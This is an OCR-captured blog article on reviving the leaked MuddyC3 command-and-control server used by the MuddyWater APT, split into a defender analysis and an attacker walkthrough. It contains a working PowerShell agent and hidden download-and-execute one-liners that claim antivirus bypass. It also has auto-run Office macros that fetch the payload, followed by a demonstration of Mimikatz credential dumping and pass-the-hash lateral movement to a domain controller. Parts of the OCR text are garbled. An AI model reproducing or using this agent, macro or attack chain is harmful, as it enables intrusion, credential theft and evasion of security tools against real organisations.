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Estimated Reading Time: 10 minutes
Note : This article contain two parts one for Blue Teams and the other for red teams. go to
the part you interested in or read both if you are purple team guy .

MuddyWater is a well-known threat actor group founded by Iran. “that has been active since
2017. They target groups across Middle East and Central Asia, primarily using spear phishing
emails with malicious attachments. Most recently they were connected to a campaign in March
that targeted” organizations in Turkey, Pakistan, and Tajikistan.[O]

MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first
stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater
attacks, the activity continues with only incremental changes to the tools and techniques. [1]

In June 26 2019 a group called “Green Leakers” on telegram published screenshots of the C2
admin panel as you can see below along with screenshot of the muddyc3 c2 source code . they
announced that they are selling all the leaked tools for 0.5BTC.
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The access from this C&C is selling (The Access is from TR)
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Selling Data From MuddyWater APT Group

‘We have some interesting Data from MuddyWater APT
who is behind this group, names, data from their targets and more..

Telegram 1d -
Telegram Channel :

Telegram Channel :

We are the official Green Leakers .. Don't follow any other fake channels or pages. If anything happens to
our Telegram channels you can contact us from Our id and visiting our darkweb pages.

June 26, 2019

Greenleakers
Channel created

Channel photo updated

Greenleakers Official Channel

GreenLeakers
Announcement from Green Leakers :
. - . Notifications
As you can see, iranian cyber-criminals and some countries like
turkey which we talked to them recently are so angry and that is
goooooood for us.. some iranian cyber-criminals reported our
channel and telegram closed it and then they made a new channel

after named of our group and trying to fool all people in this 3 photos

1 video

Join Channel

tsfjojagennn}

GreenlLeakers

MuddyWater C2
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Selling This Data Only 0.5
All information include:
1- Picture

- SMS and Call lo
All Contact

avosh(APT 3

ndroid tools write in Kavosh{APT 33)
8- Tools write in Delphi, Python, Powershell, C# in MuddyWater

9- All APT33 C2

10- All MuddyWater C2
11- etg{151 GB more information about him and his operations)
BTC: 18Ayby8

June 26, 2019
Channel created

Channel photo updated

Announcement from Green Leakers :

As you can see, iranian cyber-criminals and some countries like
turkey which we talked to them recently o angry and that is
goooooood for us.. some iranian cyber-criminals reported our

channel and telegram

closed it and then they made a new channel

after named of our group and trying to fool all people in this

world..
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June 26, 2019
Channel created

Channel photo updated

Green

Announcement from Green Leakers :

As you can see, iranian cyber-criminals and some countries like

y which we talked to them recently are so angry and that is
gooocoood for us.. some iranian cyber-criminals reported our
channel and telegram closed it and then they made a new channel
after named of our group and trying to fool all people in this
world..

At that time i got the source code from github , so i tried the code to find that the core of the c2
which is powershell payload is messing ( the leaker didn’t include the payload in order to by all
the tools ). so i didn’t have time to reverse engineer the source code and i left it. last week i got 3
days off from my work ( working in SOC will keep you for ever busy ) so i started analyzing the
code which will be discussed below and i was able to understand how it works in order to create
the messing powershell payload and make the c2 come to life. | didn’t just revive the C2 but also
added more advanced functionality which will be released as separate tool soon.

Lets start by giving a summary about the muddyc3 tool :

Coded with python2.7

works as C2 server that serve a powershell agent script when requested

i didn’t find any function to encrypt the traffic between the the agent and the C2 but there
are variables with name private_key , public_key so i suspect the functions removed.
every function has its own url : modules , commands , result...

its make use of HTA and bas64 encoded powershell code to bypass the AV ( right now AV
can catch HTA)

It use threading so many agent can connect and controlled at the same time.

the agent must collect information about the system when it first start then report it to the
Cc2

there is template for agent which will be filled with ip and port when the C2 run.

include functions but not all implemented in the initial POC : upload , download , load
modules , get screenshot

The initial powershell agent POC i created can bypass the AV including Kaspersky,
Trendmicro

Analysis Part ( Blue Team ):

Now we dig deep in the C2 to explain how it work and how i created the agent based on the
function available in the C2 :
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C2 interface : simple CLlI interface that ask when started for IP,Port and proxy configuration to
generate the initial payloads.

Ask for IP and Port to generate the payload

Low

MEDIUM

Payloads generated based on the IP:Port

simple Command menu which include the basic commands needed to run the C2

the source code for the interface is in the muddyc3.py which is clear and doesn’t need
explanation :
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chel::DefaultCredel

this part of the code will check if the pointer in Main or an agent and get the command from the user then check
if the command in the list of menu command, it will run the menu command function defined in the cmd.py . if
the command does not match the menu commands and the pointer in main then it will not do anything . if the
pointer in agent menu then it will add the command to agent command queue in order to be requested and
executed by the agent.
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Command

this screenshot from the cmd.py which shows the list of commands and the function it should run

Webserver.py Functions : the web server has a list of urls for each module some of the URLs
will work with GET and other with POST depending how the function configured. below is a
summary of the functions i created an agent for it :

its start by defining the web server listener and urls variable that include the url with its module
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for example in the urls variable /get url will run the function payload so if we tried to access this link on
the muddyc2 server we will get the payload
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< © 4 192.168.1.8

Exploit-DB & Inbox (148) - ahmed.khl.. in Welcome! | LinkedIin ' § Facebook [7] YOPmail - Disposable.. *§ Shodan [5 footprinting

$hostname = $env:COMPUTERNAME ;
$whoami = $env:USERNAME ;
$arch = (Get-WmiObject Win32_OperatingSystem).0SArchitecture
$0s = (Get-WmiObject -class Win32 OperatingSystem).Caption + "($arch)";
$domain = (Get-WmiObject Win32_ComputerSystem).Domain;
$IP={gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True").IPAddress[0]
$random = -join ((65..98) | Get-Random -Count 5 | % {[charl$_ });
$agent="$random-img.jpeq"
$finaldata="$os**$IP**$arch**shostname** $domain**$whoami"
$h3 = new-object net.WebClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h=$h3.UploadString("http://192.168.1.8:8080/info/$agent", $finaldata)
$progressPreference = 'silentlyContinue’;

§h2 = New-Object system.Net.wWebClient;
$h3 = New-Object system.Net.wWebClient;

function load{$module)

{

$handle = new-object net.webClient;

$handleh = $handle.Headers;

$handleh.add("Content-Type", "application/x-www-form-urlencoded");
$modulecontent=$handle.UploadString("http://192.168.1.8:8080/md/$agent", "$module");

return $modulecontent

while{$true){
$cmd = $h2.downloadString("http://192.168.1.8:8080/cm/$agent");

ifl{$cmd -eq "REGISTER"){
$§h3 = new-object net.webClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h3.UploadString("http:/,/192.168.1.8:8080,/info/$agent",$finaldata)
continue

}

if($emd -eq ""){
sleep 2
continue

¥

elseif{$cmd.split(" ")[08] -eq "load"){
$f=$emd.split(" ")[1]

$module=load -module $f

try{

$output=Invoke-Expression ($module) | Out-String

1

catch{

$Soutput = $Error[0] | Out-String;
H

accessing the server with url /get provided us with payload
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the same with /getc we got the payload encoded with base52
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Credentials=[Net.CredentialCache]: :DefaultCredentials)

/hta will run mshta function to generate payload from mshta.exe

Now i will explain the core the URLs along with their code in the agent :
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/info/(.*) URL will run the function info which is register function for new agents , it expect agent id name to be
in the URL along with machine information in the body of the POST request. the body must contain below
information separated by ** :

1) OS
2) Machine IP
3) system architecture
4) hostname
5) domain name
6) username
the C2 will get the information along with agent ID and save it in array to be used to server commands and
other implemented function cause each agent has its own commands queue .

on Where IPEnabled = True").IPA

This code from the powershell POC agent which collect the information requried by the C2 from windows
machine then generate random name for the agent. finally it will do post request to URL /info/<agent id> with
post request including the required information separated by **
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This URL ( /em/(.*) ) will accept GET request with agent ID in order to serve the commands for this agent ( from
command queue ) , if the agent is not registered or if the C2 goes down then up and old agent reconnected, it
will send REGISTER as response which will force the agent to register by sending request to /info/ URL as you
will see below in agent code.
also it will get the current time when the agent ask for command to determine when the last time agent probed
to give information if the agent died or still alive.

this part of code from powershell POC agent which will run in loop and keep probing the C2 for new
commands using URL /cm/<agent id>
Now if the command is REGISTER then it will contact URL /info/<agent id > to register and get the
commands ( this is very important in order to not lose the agent when the C2 is down ).
if the command is empty it will wait 2 seconds before probing again for command.

https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/
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at last the command will be executed using Invoke-Expression and the output data will
be encoded in base64 then uploaded to URL /re/<agent id> which will be explained
below

URL /re/(.*) will run result function which will wait for the result of the executed commands in base64 then
decode it and present it to the user

modules:

URL /md/(.*) will wait for a POST request that include agent ID in the URL and in the request body the name of
the module requested then it will use the name of module to load from Module/ folder in the C2 directory
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1/14/2020 Reviving MuddyC3 Used by MuddyWater (IRAN) APT - Shells.Systems

this code from the powershell POC agent which will check if the command got
from the C2 is load then it will get the second argument splited by space to
request and download the required module. the request will be handled by the
function load which will be explained below. the output of load function will
include the module which will be executed by Invoke-Expression

function load($module)

this code from the powershell POC agent will request the module by POST request to URL /md/<agent id> with
request body contain module name.

Now after we finished the analysis part of this article i will walk you through using muddyc3 with
POC powershell agent. please note that this just POC and the full tool written on top of muddyc3
will be released soon. i finished implementing many cool features but i will wait until i add more
and to be fully tested before the release.

Using MuddyC3 to get domain admin ( Red Team ) :

i will use simple scenario to show the usage of muddyc3 powershell agent POC.
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run the muddyc3 using python2.7 , it will ask you for the IP and Port will be used to create the payloads ( this
will be your public IP or the IP reachable by the devices you want to hack )

you can use any of the printed payloads but the last 3 undetectable from AVs the others is detectable by
kaspersky
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C:\Users\hanzag>powershell —v hidden “Invoke—Expression{New—Ohject Net.WehClient
>.DownloadString<’ http://192.168.1.8:8880/get” ;"

o~ |

© Kaspersky Free

4 Licensing

License key:
Key status:
License:
Activation date:
Expiration date:

Remaining:

B78209B6-6512-4C17-8065-7CE8B3CA0598
active

free for 1 computer for 366 days

11/1/2019 7:53 PM

11/1/20207:53 PM

293 days

Details  End User License Agreement

Free software is installed

Try an application with enhanced protection to fully protect your Internet life and ensure reliable protection for your financial

transactions and personal data.

Upgrade protection Enter activation code

Other products My Kespersky  License: active

L]
Customize.

as you can see am testing on kaspersky free with no detection but this also applicable for the total security and
enterprise edition. also i tested it on trendmicro maximum security.
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Document Recovery

Excel has recovered the following files.
Save the ones you wish to keep.

Available Files
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when the user click enable content you will get connection on the C2 using macro
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Sub Ruto_Open()
UpdateMacro
End Sub

Sub RutoOpen ()
UpdateMacro
End Sub

Sub Workbook_Open ()
UpdateMacro
End Sub

Sub WorkbookCpen ()
UpdateMacro
End Sub

Sub Document_Open ()
UpdateMacro
End Sub

Sub DocumentCpen ()
UpdateMacrd|
End Sub

Sub UpdateMacro ()
Dim str, exec, wsh

exec = "powershell -w hidden Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.1.8:8080/get'):"
Set wsh = CreateObject ("WScript.Shell")

wsh,exsc (=xec)
End Sub

you can also use macros to spread the agent which used by muddywater in their operations

as you can see we got a connection from the agent

using list command we can see the list of agents we have and the last time the contacted the C2

¥YTWIL-1img

using ” use ” command we move the agent prompt and we can issue command like pwd and get result .
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[~] YTVIL-img.jpeg:net user /DOMAIN
[+] Agent (2) - hamzag send Result

lets see the the users in this domain to find the domain admin by using : net user /DOMAIN command

[~] YTVIL-img.jpeg:net user ahmedkl /DOMAIN
[+] Agent (2) - hamzag send Result

Ok so we checked the user ahmedkl and he is domain admin , now we will check if he had logged in to this
machine

https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/ 19/24




1/14/2020 Reviving MuddyC3 Used by MuddyWater (IRAN) APT - Shells.Systems

you can load powershell modules by copying the modules to Modules/ folder in C2 directory then use ” load

<module name.ps1>" command to load it directly into the agent session. but you can see it didn’t work here

because kaspersky intercepted the data as its clear text ( this solved by encrypting the data in my upcoming
tool)

© Kaspersky Free

@ Detailed Reports

@ web Anti-virus Export...

ator: Command Prompt - powg

Today

s \systen3d2>povershell Download blocked

ng ¢ http:, /192 168 .1
Download blocked 2:25 PM Object name
hitp://192.168.1.8:8080/md M-img jpeg Trojan-PSW.PowerShell Mimikatz.c

_ e o Object
@ Pause protection B http://192.168.1.8:8080/md/ESOWM-img jpeg
Pause protection Application
2 Windows PowerShell
® Pause for 30 minutes v
Object type
Pause until application restart Tr;jan }:‘mgram

Pause

Today, 1/13/2020 12:25 PM
Pause protection Cancel

apter isatap.{BB78F7H

State . .
tion-specif i

tion-specific DNS Suf]

apter Teredo Tunneling Pseudo-Interiace:

this picture shows kaspersky blocking /md/ url because mimikatz detected by AV so we will pause to complete
the demo

now that mimikatz loaded
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also we got user hamzag credentials
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[~] YTVIL-img.jpeg:Invoke-Mimikatz -DumpCreds
[+] Agent (2) - hamzag send Result

now we have domain admin credentials
[~] ¥YTVIL-img.jpeg:load Invoke-WMIExec.psl

[+] New Agent Request Module Invoke-WMIExec.psl (2 - hamzag)
[+] Agent (2) - hamzag send Result

Now we load Invoke-WMIExec.ps1 to do pass the hash attack using wmi

Now in order to use Invoke-WMIExec we need to encode our payload so we don’t have issue with characters
escaping so we use python ( make user to utf-8 encode )
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as you can see the payload executed and the agent connected

[~] Evw
@) - ahmedkl send Result

[~] EYWUA-img

now we are in the DC

Thank you for reading my article . you can find the muddyc3 with payload.ps1 ( powershell agent
POC ) here : Muddyc3-Revived

i will release my tool which built on top of muddyc3 soon. right now it include below features and
there is more am working on :

« full encryption of modules and command channel

» get encryption key on the fly ( not hard coded )

« take screenshots and send it encrypted to C2

« upload files from C2

» download files from the victim

» staged payloads to bypass detection

« bypasses AVs ( tested on kaspersky and trendmicro )

» set the beacon interval dynamically even after the agent connected
» dynamic URLs

» set the configuration one time ( will not ask for IP:port each time )
» bug fixes and stable version
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» global kill switch to end campaigns
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